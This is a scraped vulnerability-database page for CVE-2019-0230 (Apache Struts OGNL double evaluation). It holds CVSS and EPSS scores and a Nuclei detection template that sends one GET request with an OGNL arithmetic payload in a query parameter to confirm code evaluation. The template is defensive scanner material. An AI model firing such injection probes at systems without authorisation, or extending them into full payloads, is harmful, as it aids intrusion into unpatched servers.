Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2019-0230
HistoryMar 18, 2021 - 4:04 p.m.

Apache Struts <=2.5.20 - Remote Code Execution

2021-03-1816:04:40
ProjectDiscovery
github.com
10

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.6 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.954 High

EPSS

Percentile

99.3%

Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation when evaluated on raw user input in tag attributes, which may lead to remote code execution.

id: CVE-2019-0230

info:
  name: Apache Struts <=2.5.20 - Remote Code Execution
  author: geeknik
  severity: critical
  description: Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation when evaluated on raw user input in tag attributes, which may lead to remote code execution.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected server.
  remediation: |
    Upgrade Apache Struts to a version higher than 2.5.20 or apply the necessary patches provided by the vendor.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-0230
    - https://cwiki.apache.org/confluence/display/WW/S2-059
    - https://www.tenable.com/blog/cve-2019-0230-apache-struts-potential-remote-code-execution-vulnerability
    - http://packetstormsecurity.com/files/160108/Apache-Struts-2.5.20-Double-OGNL-Evaluation.html
    - https://cwiki.apache.org/confluence/display/ww/s2-059
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-0230
    cwe-id: CWE-1321
    epss-score: 0.94817
    epss-percentile: 0.99114
    cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: struts
  tags: cve,cve2019,tenable,packetstorm,struts,rce,apache
variables:
  str: "{{rand_base(6)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/?id={{str}}%25{128*128}"

    matchers:
      - type: word
        part: body
        words:
          - "{{str}}16384"
# digest: 4a0a00473045022100dc3f9eb4ddc3ee9f4358b97c25b2e19f64754b2a6ab4e908f3cd5e6b3abe856902201c8b19054aa21ce2de57af88dcef93933f942b8b7a61bb0d878cf24a39a7353c:922c64590222798bb761d5b6d8e72950

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.6 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.954 High

EPSS

Percentile

99.3%